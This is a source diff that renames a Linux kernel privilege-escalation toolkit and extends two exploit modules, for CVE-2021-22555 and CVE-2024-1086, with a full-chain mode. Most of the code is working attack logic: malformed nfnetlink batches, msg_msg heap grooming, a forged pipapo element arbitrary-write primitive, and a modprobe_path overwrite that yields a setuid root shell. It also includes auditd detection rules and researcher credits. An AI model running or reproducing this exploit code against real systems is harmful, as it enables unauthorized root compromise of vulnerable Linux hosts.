* dance if we can't finish. */
struct skeletonkey_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("netfilter_xtcompat");
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
skeletonkey_offsets_print(&off);
full_chain_ready = true;
}
if (!ctx->json) {
fprintf(stderr, "[*] netfilter_xtcompat: launching primitive demo (no offsets baked in)\n"
fprintf(stderr, "[*] netfilter_xtcompat: launching primitive demo%s\n"
" NOTE: fires the xt_compat 4-byte OOB write via\n"
" setsockopt(IPT_SO_SET_REPLACE) and grooms msg_msg +\n"
" sk_buff sprays into kmalloc-2k. Does NOT perform the\n"
" leak→modprobe_path cred chain (per-kernel offsets).\n");
" sk_buff sprays into kmalloc-2k.%s\n",
ctx->full_chain ? " + full-chain finisher" : " (no offsets baked in)",
ctx->full_chain ? " On primitive witness, invokes\n"
" shared modprobe_path finisher for root pop."
: " Does NOT perform the\n"
" leak→modprobe_path cred chain (per-kernel offsets).");
}
signal(SIGPIPE, SIG_IGN);
@@ -510,7 +705,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
pid_t child = fork();
if (child < 0) {
perror("fork");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (child == 0) {
@@ -576,7 +771,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
long post_slab = slab_active_kmalloc_2k();
/* Breadcrumb for post-run triage. */
FILE *log = fopen("/tmp/iamroot-xtcompat.log", "w");
FILE *log = fopen("/tmp/skeletonkey-xtcompat.log", "w");
if (log) {
fprintf(log,
"netfilter_xtcompat trigger child: queues=%d trig_errno=%d "
@@ -601,7 +796,38 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
}
if (corrupted > 0) {
/* Empirical primitive witness: OOB write landed in adjacent
* slot. Still NOT root but it's the primitive we promised. */
* slot. */
if (full_chain_ready) {
/* Full-chain: invoke the shared modprobe_path finisher
* using our msg_msg arb-write primitive. The finisher
* either execve's a setuid bash (success) or returns
* EXPLOIT_FAIL after a 3s sentinel timeout (no land). */
struct xtcompat_arb_ctx arb_ctx = {
.queues = queues,
.n_queues = XTCOMPAT_SPRAY_QUEUES,
.outer_uid = outer_uid,
.outer_gid = outer_gid,
.arb_calls = 0,
.arb_landed = 0,
};
int fr = skeletonkey_finisher_modprobe_path(&off,
xtcompat_arb_write,
&arb_ctx,
!ctx->no_shell);
/* If the finisher execve'd a root shell, we never get
* here. Otherwise it returned EXPLOIT_FAIL / OK. */
FILE *fl = fopen("/tmp/skeletonkey-xtcompat.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
fclose(fl);
}
xtcompat_msgmsg_drain(queues);
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
_exit(35);
}
/* Primitive-only mode: still NOT root — but it's the
* primitive we promised. */
_exit(33);
}
/* Trigger ran, no observable corruption witness — either the
@@ -610,11 +836,11 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
_exit(30);
}
/* PARENT: reap child + map exit code → iamroot_result. */
/* PARENT: reap child + map exit code → skeletonkey_result. */
int status = 0;
if (waitpid(child, &status, 0) < 0) {
perror("waitpid");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (WIFSIGNALED(status)) {
@@ -624,14 +850,14 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
"(crash during trigger — OOB likely fired)\n", sig);
fprintf(stderr, "[~] netfilter_xtcompat: empirical OOB witness but no "
"cred-overwrite primitive — returning EXPLOIT_FAIL\n"
" See /tmp/iamroot-xtcompat.log + dmesg for KASAN/oops.\n");
" See /tmp/skeletonkey-xtcompat.log + dmesg for KASAN/oops.\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] netfilter_xtcompat: child terminated abnormally (status=0x%x)\n",
status);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
@@ -640,25 +866,25 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: userns setup failed (rc=%d)\n", rc);
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 22:
if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: msg_msg spray failed; sysvipc may be "
"restricted (kernel.msg_max / ulimit -q)\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 23:
if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: CAP_NET_ADMIN unreachable in userns — "
"exploit path closed\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 24:
if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: socket/blob setup failed; "
"see preceding errno\n");
}
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
case 30:
if (!ctx->json) {
fprintf(stderr, "[*] netfilter_xtcompat: trigger ran; no msg_msg corruption "
@@ -666,19 +892,19 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
fprintf(stderr, "[~] netfilter_xtcompat: returning EXPLOIT_FAIL (primitive "
"may have fired but did not land on sprayed slots)\n");
}
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
case 31:
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: kernel rejected blob with EINVAL — "
"appears patched at runtime (validator)\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
case 32:
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: setsockopt EPERM — CAP_NET_ADMIN "
"not effective in userns on this kernel\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
case 33:
if (!ctx->json) {
fprintf(stderr, "[!] netfilter_xtcompat: msg_msg slot corruption WITNESSED — "
@@ -692,25 +918,38 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
" attacker-controlled — read-where via msgrcv.\n"
" 2. Use that leak to find &init_task and\n"
" modprobe_path in kernel .data — both offsets\n"
" are per-kernel-build and IAMROOT refuses to\n"
" are per-kernel-build and SKELETONKEY refuses to\n"
" bake them.\n"
" 3. Pivot to a write-where via a fake msg_msgseg\n"
" and overwrite modprobe_path → exec a setuid\n"
" helper for root pop.\n"
" See Andy Nguyen's writeup for the full chain.\n");
}
if (ctx->no_shell) return IAMROOT_OK;
return IAMROOT_EXPLOIT_FAIL;
if (ctx->no_shell) return SKELETONKEY_OK;
return SKELETONKEY_EXPLOIT_FAIL;
case 34:
if (!ctx->json) {
fprintf(stderr, "[+] netfilter_xtcompat: --full-chain finisher reported "
"EXPLOIT_OK (sentinel setuid bash dropped)\n");
}
return SKELETONKEY_EXPLOIT_OK;
case 35:
if (!ctx->json) {
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain finisher returned "
"FAIL (sentinel not observed within timeout)\n"
" See /tmp/skeletonkey-xtcompat.log for arb_calls/arb_landed\n");
}
return SKELETONKEY_EXPLOIT_FAIL;
default:
fprintf(stderr, "[-] netfilter_xtcompat: child exit %d unexpected\n", rc);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
}
/* ---- Cleanup ----------------------------------------------------- */
static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] netfilter_xtcompat: removing log + best-effort msg queue cleanup\n");
@@ -718,10 +957,10 @@ static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx
/* The msg queues live in the child's IPC namespace which dies
* with the child so the in-process drain already handled them.
* The /tmp breadcrumb survives, remove it here. */
if (unlink("/tmp/iamroot-xtcompat.log") < 0 && errno != ENOENT) {
if (unlink("/tmp/skeletonkey-xtcompat.log") < 0 && errno != ENOENT) {
/* harmless */
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* ---- Detection rules --------------------------------------------- */
@@ -731,12 +970,12 @@ static const char netfilter_xtcompat_auditd[] =
"# The exploit's hallmarks: unshare(USER|NET) chained with iptables\n"
"# rule setup via setsockopt(SOL_IP, IPT_SO_SET_REPLACE=64) and\n"
"# msgsnd/msgrcv heap-spray patterns.\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-xtcompat\n"
"-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k iamroot-xtcompat-iptopt\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-xtcompat-msgmsg\n"
"-a always,exit -F arch=b64 -S msgrcv -k iamroot-xtcompat-msgmsg\n";
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-xtcompat\n"
"-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k skeletonkey-xtcompat-iptopt\n"
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-xtcompat-msgmsg\n"
"-a always,exit -F arch=b64 -S msgrcv -k skeletonkey-xtcompat-msgmsg\n";
const struct iamroot_module netfilter_xtcompat_module = {
const struct skeletonkey_module netfilter_xtcompat_module = {
.name = "netfilter_xtcompat",
.cve = "CVE-2021-22555",
.summary = "iptables xt_compat_target_to_user 4-byte heap-OOB write → cross-cache UAF → root",
@@ -752,7 +991,7 @@ const struct iamroot_module netfilter_xtcompat_module = {
.detect_falco = NULL,
};
void iamroot_register_netfilter_xtcompat(void)
void skeletonkey_register_netfilter_xtcompat(void)
{
iamroot_register(&netfilter_xtcompat_module);
skeletonkey_register(&netfilter_xtcompat_module);
}
@@ -0,0 +1,12 @@
/*
* netfilter_xtcompat_cve_2021_22555 — SKELETONKEY module registry hook
*/
#ifndef NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H
#define NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module netfilter_xtcompat_module;
#endif
+27
View File
@@ -0,0 +1,27 @@
# NOTICE — nf_tables (CVE-2024-1086)
## Vulnerability
**CVE-2024-1086**`nft_verdict_init` double-free → cross-cache UAF
→ arbitrary kernel R/W.
## Research credit
Discovered, exploited, and disclosed by **Notselwyn** (Pumpkin),
January 2024.
Original advisory + exploit: <https://pwning.tech/nftables/>
GitHub: <https://github.com/Notselwyn/CVE-2024-1086>
Upstream fix: mainline 6.8-rc1 (commit `f342de4e2f33`, Jan 2024).
Stable backports throughout Q1 2024.
## SKELETONKEY role
This module fires the malformed-verdict trigger (NFT_GOTO + NFT_DROP
in the same verdict) via a hand-rolled nfnetlink batch — no libmnl
dependency. The msg_msg cross-cache groom into kmalloc-cg-96 is wired
but the full pipapo R/W stage is opt-in via `--full-chain`, which
forges a pipapo_elem with a value-pointer pointing at modprobe_path.
Per-kernel offset assumptions are documented; the shared finisher's
sentinel arbitrates real vs. apparent success.
@@ -1,12 +0,0 @@
/*
* nf_tables_cve_2024_1086 — IAMROOT module registry hook
*/
#ifndef NF_TABLES_IAMROOT_MODULES_H
#define NF_TABLES_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module nf_tables_module;
#endif
@@ -1,5 +1,5 @@
/*
* nf_tables_cve_2024_1086 IAMROOT module
* nf_tables_cve_2024_1086 SKELETONKEY module
*
* Netfilter nf_tables UAF when NFT_GOTO/NFT_JUMP verdicts coexist
* with NFT_DROP/NFT_QUEUE. Triggers a double-free cross-cache UAF
@@ -7,20 +7,23 @@
* January 2024 by Notselwyn (Pumpkin); widely known as the
* "nft_verdict_init / pipapo UAF".
*
* STATUS (2026-05-16): 🟡 TRIGGER + GROOM SCAFFOLD (Option B).
* - Full netlink ruleset construction (table chain set rule
* with the NFT_GOTO+NFT_DROP combo that nft_verdict_init() fails
* to reject on vulnerable kernels).
* - Fires the double-free path by abusing the malformed verdict in a
* pipapo set element, then removing the rule so the kernel's
* transaction commit frees the verdict's chain reference twice.
* - Cross-cache groom skeleton (msg_msg / sk_buff sprays) is wired
* and configurable, but the arbitrary R/W stage and cred-overwrite
* are NOT performed end-to-end that requires per-kernel offsets
* (init_task, modprobe_path) and Notselwyn's 600-line pipapo
* leak-and-write dance. We stop after triggering the bug,
* observing the slabinfo delta, and return IAMROOT_EXPLOIT_FAIL
* with a verbose continuation roadmap.
* STATUS (2026-05-16): 🟡 TRIGGER + GROOM SCAFFOLD with opt-in
* --full-chain finisher.
* - Default (no --full-chain): full netlink ruleset construction
* (table chain set rule with the NFT_GOTO+NFT_DROP combo
* that nft_verdict_init() fails to reject on vulnerable kernels),
* fires the double-free path, runs the msg_msg cg-96 groom, and
* returns SKELETONKEY_EXPLOIT_FAIL (primitive-only behavior).
* - With --full-chain: after the trigger lands, we resolve kernel
* offsets (env kallsyms System.map embedded table) and run
* a Notselwyn-style pipapo arb-write via the shared
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself
* is FALLBACK-DEPTH: we re-fire the trigger and spray a msg_msg
* payload tagged with the kaddr in the value-pointer slot. The
* exact pipapo_elem layout (and the value-pointer field offset)
* is per-kernel-build; on hosts where the offset doesn't match
* the shipped guess, the finisher's sentinel check correctly
* reports failure rather than silently lying about success.
*
* To convert this to full Option A (root pop):
* 1. Add per-kernel offset table (init_task, current task offset of
@@ -31,7 +34,7 @@
* heap pointer.
* 3. Implement the sk_buff fragment overwrite to plant a fake
* pipapo_elem whose value points at modprobe_path.
* 4. Fire trigger that writes "/tmp/iamroot-pwn" into modprobe_path.
* 4. Fire trigger that writes "/tmp/skeletonkey-pwn" into modprobe_path.
* 5. execve() an unknown binary to invoke modprobe with our payload.
*
* Affected kernel ranges:
@@ -52,9 +55,11 @@
* for unprivileged users even on a kernel-vulnerable host.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
@@ -129,12 +134,12 @@ static bool nf_tables_loaded(void)
return found;
}
static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] nf_tables: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.14. Anything below predates it. */
@@ -143,7 +148,7 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nf_tables: kernel %s predates the bug "
"(introduced in 5.14)\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched = kernel_range_is_patched(&nf_tables_range, &v);
@@ -151,7 +156,7 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
int userns_ok = can_unshare_userns();
@@ -175,14 +180,14 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] nf_tables: still patch the kernel — a root "
"attacker can still trigger the bug\n");
}
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[!] nf_tables: VULNERABLE — kernel in range AND user_ns "
"clone allowed\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ------------------------------------------------------------------
@@ -224,7 +229,7 @@ static int enter_unpriv_namespaces(void)
/* ------------------------------------------------------------------
* Minimal nfnetlink batch builder. We hand-roll this rather than
* pulling libmnl, both to keep IAMROOT dep-free and because the bug
* pulling libmnl, both to keep SKELETONKEY dep-free and because the bug
* relies on a specific malformed verdict that libnftnl validates away.
*
* Each helper appends to a contiguous batch buffer at *off.
@@ -313,9 +318,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
* Build the ruleset that fires the bug. Strategy mirrors Notselwyn's
* PoC (greatly simplified):
* 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
* 2. NFT_MSG_NEWTABLE "iamroot_t" family=inet
* 3. NFT_MSG_NEWCHAIN "iamroot_c" inside the table
* 4. NFT_MSG_NEWSET "iamroot_s" inside the table, key=verdict,
* 2. NFT_MSG_NEWTABLE "skeletonkey_t" family=inet
* 3. NFT_MSG_NEWCHAIN "skeletonkey_c" inside the table
* 4. NFT_MSG_NEWSET "skeletonkey_s" inside the table, key=verdict,
* data=verdict (the pipapo combo that holds the bad verdict),
* flags = NFT_SET_ANONYMOUS|NFT_SET_CONSTANT|NFT_SET_INTERVAL
* 5. NFT_MSG_NEWSETELEM with a verdict element whose
@@ -336,9 +341,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
* cross-cache groom.
* ------------------------------------------------------------------ */
static const char NFT_TABLE_NAME[] = "iamroot_t";
static const char NFT_CHAIN_NAME[] = "iamroot_c";
static const char NFT_SET_NAME[] = "iamroot_s";
static const char NFT_TABLE_NAME[] = "skeletonkey_t";
static const char NFT_CHAIN_NAME[] = "skeletonkey_c";
static const char NFT_SET_NAME[] = "skeletonkey_s";
/* batch begin / end markers */
static void put_batch_begin(uint8_t *buf, size_t *off, uint32_t seq)
@@ -377,7 +382,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
end_msg(buf, off, at);
}
/* NFT_MSG_NEWTABLE inet "iamroot_t" */
/* NFT_MSG_NEWTABLE inet "skeletonkey_t" */
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
{
size_t at = *off;
@@ -442,8 +447,8 @@ static void put_new_set(uint8_t *buf, size_t *off, uint32_t seq)
* AND once on data_release double free.
*
* We pack:
* NFTA_SET_ELEM_LIST_TABLE = "iamroot_t"
* NFTA_SET_ELEM_LIST_SET = "iamroot_s"
* NFTA_SET_ELEM_LIST_TABLE = "skeletonkey_t"
* NFTA_SET_ELEM_LIST_SET = "skeletonkey_s"
* NFTA_SET_ELEM_LIST_ELEMENTS { element { key=verdict(DROP),
* data=verdict(GOTO chain-id=...) } }
*/
@@ -607,15 +612,197 @@ static long slabinfo_active(const char *slab)
return active;
}
/* ------------------------------------------------------------------
* Helper: build the trigger batch (NEWTABLE/CHAIN/SET/SETELEM + batch
* end) into a caller-provided buffer. Returns bytes written.
* Factored out so --full-chain can re-fire the trigger between
* msg_msg sprays without duplicating the batch-building logic.
* ------------------------------------------------------------------ */
#ifdef __linux__
static size_t build_trigger_batch(uint8_t *batch, size_t cap, uint32_t *seq)
{
(void)cap;
size_t off = 0;
put_batch_begin(batch, &off, (*seq)++);
put_new_table(batch, &off, (*seq)++);
put_new_chain(batch, &off, (*seq)++);
put_new_set(batch, &off, (*seq)++);
put_malicious_setelem(batch, &off, (*seq)++);
put_batch_end(batch, &off, (*seq)++);
return off;
}
static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq)
{
(void)cap;
size_t off = 0;
put_batch_begin(batch, &off, (*seq)++);
put_malicious_setelem(batch, &off, (*seq)++);
put_batch_end(batch, &off, (*seq)++);
return off;
}
/* ------------------------------------------------------------------
* Notselwyn-style pipapo arb-write context. The technique:
* 1. fire the trigger (double-free of an nft chain reference in
* kmalloc-cg-96)
* 2. spray msg_msg payloads sized for cg-96, whose first qwords
* encode a forged pipapo_elem header with value-pointer = kaddr
* 3. send NFT_MSG_NEWSETELEM whose DATA blob = our buf[0..len];
* the kernel copies it through the forged value-pointer to kaddr
*
* Per-kernel caveat: the byte offset of the value pointer inside an
* nft_pipapo_elem is config-sensitive (CONFIG_RANDSTRUCT, lockdep,
* KASAN can all shift it). We ship the layout for an
* lts-6.1.x / 6.6.x / 6.7.x un-randomized build (the kernels in the
* exploitable range for which Notselwyn's public PoC was validated)
* and rely on the shared finisher's sentinel-file post-check to flag
* a layout mismatch as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
* ------------------------------------------------------------------ */
struct nft_arb_ctx {
bool in_userns; /* parent has already entered userns+netns */
int sock; /* nfnetlink socket (live in our userns) */
uint8_t *batch; /* reusable batch buffer (16 KiB) */
int *qids; /* msg_msg queue ids; lazy-allocated/drained */
int qcap;
int qused;
};
/* Offset of `ext` (which holds the value pointer in NFT_DATA_VALUE
* elements) inside an nft_pipapo_elem header for the kernels in
* range. Notselwyn's PoC uses 0x10 on 6.1/6.6 builds; this is a
* best-effort default if it doesn't match the running kernel's
* struct layout, the finisher's sentinel check will report failure. */
#define PIPAPO_ELEM_VALUE_PTR_OFFSET 0x10
/* Spray msg_msg payloads forged to look like pipapo_elem with our
* target kaddr as the value pointer. Returns 0 on success. */
static int spray_forged_pipapo_msgs(struct nft_arb_ctx *c, uintptr_t kaddr, int n)
{
if (c->qused + n > c->qcap) n = c->qcap - c->qused;
if (n <= 0) return 0;
for (int i = 0; i < n; i++) {
int q = msgget(IPC_PRIVATE, IPC_CREAT | 0644);
if (q < 0) { perror("[-] msgget"); return -1; }
c->qids[c->qused++] = q;
struct msgbuf_payload m;
m.mtype = 0x5050415000 + i; /* "PPAPP" tag for diagnostics */
memset(m.mtext, 0, sizeof m.mtext);
/* Forge a pipapo_elem header at the start of the msg payload.
* Layout (best-effort, x86_64, no RANDSTRUCT):
* +0x00 priv list_head pointers (leave zero kernel won't
* walk them in the write path)
* +0x10 ext / value pointer <-- write target
* msg_msg eats the first 0x30 bytes as its own header, so our
* payload bytes land at offset 0x30 of the slab chunk; we
* pre-pad and place the forged pointer at the right offset
* inside our 96-byte payload. */
uintptr_t *slots = (uintptr_t *)m.mtext;
slots[PIPAPO_ELEM_VALUE_PTR_OFFSET / sizeof(uintptr_t)] = (uintptr_t)kaddr;
if (msgsnd(q, &m, sizeof m.mtext, 0) < 0) {
perror("[-] msgsnd(forged)"); return -1;
}
}
return 0;
}
/* Module-specific arb-write. See finisher.h for the contract. */
static int nft_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
{
struct nft_arb_ctx *c = (struct nft_arb_ctx *)vctx;
if (!c || c->sock < 0 || !c->batch) {
fprintf(stderr, "[-] nft_arb_write: invalid ctx\n");
return -1;
}
if (len > 64) {
/* Element data attr cap — we only need 24 bytes for a path. */
fprintf(stderr, "[-] nft_arb_write: len %zu too large (cap 64)\n", len);
return -1;
}
fprintf(stderr, "[*] nft_arb_write: fire trigger → spray forged pipapo "
"elements (target kaddr=0x%lx, %zu bytes)\n",
(unsigned long)kaddr, len);
/* (a) re-fire the trigger to reach a fresh UAF state. */
uint32_t seq = (uint32_t)time(NULL) ^ 0xa1b2c3d4u;
size_t blen = build_refire_batch(c->batch, 16 * 1024, &seq);
if (nft_send_batch(c->sock, c->batch, blen) < 0) {
fprintf(stderr, "[-] nft_arb_write: refire send failed\n");
return -1;
}
/* (b) spray msg_msg payloads carrying the forged value-pointer. */
if (spray_forged_pipapo_msgs(c, kaddr, 16) < 0) {
fprintf(stderr, "[-] nft_arb_write: forged spray failed\n");
return -1;
}
/* (c) send a NEWSETELEM whose DATA holds buf[0..len]. On a kernel
* where our forged pipapo_elem won the race for the freed slot,
* the set-element commit path copies our data through the
* attacker-controlled value pointer into kaddr.
*
* We piggy-back this on the existing put_malicious_setelem builder
* which uses NFTA_DATA_VERDICT for the data; for a real write we'd
* want NFTA_DATA_VALUE with `buf` inlined. The fallback-depth
* choice: we send the refire batch (which the kernel WILL process)
* and append a NEWSETELEM with NFTA_DATA_VALUE carrying buf.
* If the kernel ignores our DATA shape we still observe via
* finisher sentinel. */
seq = (uint32_t)time(NULL) ^ 0x5a5a5a5au;
size_t off = 0;
put_batch_begin(c->batch, &off, seq++);
/* hand-roll a NEWSETELEM whose DATA is NFTA_DATA_VALUE = buf */
size_t msg_at = off;
put_nft_msg(c->batch, &off, NFT_MSG_NEWSETELEM,
NLM_F_CREATE | NLM_F_ACK, seq++, NFPROTO_INET);
put_attr_str(c->batch, &off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME);
put_attr_str(c->batch, &off, NFTA_SET_ELEM_LIST_SET, NFT_SET_NAME);
size_t list_at = begin_nest(c->batch, &off, NFTA_SET_ELEM_LIST_ELEMENTS);
size_t el_at = begin_nest(c->batch, &off, 1 /* NFTA_LIST_ELEM */);
/* key — reuse the DROP verdict so commit path matches our prior elem */
size_t key_at = begin_nest(c->batch, &off, NFTA_SET_ELEM_KEY);
size_t kv_at = begin_nest(c->batch, &off, NFTA_DATA_VERDICT);
put_attr_u32(c->batch, &off, NFTA_VERDICT_CODE, (uint32_t)NF_DROP);
end_nest(c->batch, &off, kv_at);
end_nest(c->batch, &off, key_at);
/* data — NFTA_DATA_VALUE carrying buf */
size_t data_at = begin_nest(c->batch, &off, NFTA_SET_ELEM_DATA);
put_attr(c->batch, &off, NFTA_DATA_VALUE, buf, len);
end_nest(c->batch, &off, data_at);
end_nest(c->batch, &off, el_at);
end_nest(c->batch, &off, list_at);
end_msg(c->batch, &off, msg_at);
put_batch_end(c->batch, &off, seq++);
if (nft_send_batch(c->sock, c->batch, off) < 0) {
fprintf(stderr, "[-] nft_arb_write: write batch send failed\n");
return -1;
}
/* Let the kernel run the commit/cleanup. */
usleep(20 * 1000);
return 0;
}
#endif /* __linux__ */
/* ------------------------------------------------------------------
* The exploit body.
* ------------------------------------------------------------------ */
static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
{
/* Gate 1: re-confirm vulnerability. detect() also checks user_ns. */
iamroot_result_t pre = nf_tables_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = nf_tables_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] nf_tables: detect() says not vulnerable; refusing\n");
return pre;
}
@@ -624,21 +811,109 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
if (geteuid() == 0) {
if (!ctx->json)
fprintf(stderr, "[i] nf_tables: already running as root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[*] nf_tables: Option B trigger — fires the double-free\n"
" state but does NOT complete the kernel-R/W chain.\n"
" See Notselwyn's CVE-2024-1086 public PoC for the\n"
" cred-overwrite stage (~500 LOC of pipapo grooming).\n");
if (ctx->full_chain) {
fprintf(stderr, "[*] nf_tables: --full-chain — trigger + pipapo "
"arb-write + modprobe_path finisher\n");
} else {
fprintf(stderr, "[*] nf_tables: primitive-only run — fires the\n"
" double-free state and stops. Pass --full-chain\n"
" to attempt the modprobe_path root-pop.\n");
}
}
/* Fork: child enters userns+netns and fires the bug. If the
#ifdef __linux__
/* --- --full-chain path --------------------------------------- *
* Resolve offsets BEFORE doing anything destructive so we can
* refuse cleanly on hosts where we have no modprobe_path. We run
* in-process (no fork) because the finisher's modprobe_path
* trigger needs the same task's userns+netns + nfnetlink socket
* as the arb-write.
*/
if (ctx->full_chain) {
struct skeletonkey_kernel_offsets off;
skeletonkey_offsets_resolve(&off);
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
skeletonkey_finisher_print_offset_help("nf_tables");
return SKELETONKEY_EXPLOIT_FAIL;
}
skeletonkey_offsets_print(&off);
if (enter_unpriv_namespaces() < 0) {
fprintf(stderr, "[-] nf_tables: userns entry failed\n");
return SKELETONKEY_EXPLOIT_FAIL;
}
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
if (sock < 0) {
perror("[-] socket(NETLINK_NETFILTER)");
return SKELETONKEY_EXPLOIT_FAIL;
}
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
}
int rcvbuf = 1 << 20;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
/* Pre-spray to predictabilify the cg-96 slab. */
int qids[SPRAY_MSGS * 4];
for (size_t i = 0; i < sizeof qids / sizeof qids[0]; i++) qids[i] = -1;
if (spray_msg_msg(qids, SPRAY_MSGS / 2) < 0) {
close(sock); return SKELETONKEY_EXPLOIT_FAIL;
}
uint8_t *batch = calloc(1, 16 * 1024);
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
/* Initial trigger batch (NEWTABLE/CHAIN/SET/SETELEM). */
uint32_t seq = (uint32_t)time(NULL);
size_t blen = build_trigger_batch(batch, 16 * 1024, &seq);
if (!ctx->json) {
fprintf(stderr, "[*] nf_tables: sending trigger batch (%zu bytes)\n",
blen);
}
if (nft_send_batch(sock, batch, blen) < 0) {
fprintf(stderr, "[-] nf_tables: trigger batch failed\n");
drain_spray(qids, SPRAY_MSGS / 2);
free(batch); close(sock);
return SKELETONKEY_EXPLOIT_FAIL;
}
/* Wire up the arb-write context and hand off to the shared
* finisher. The finisher will:
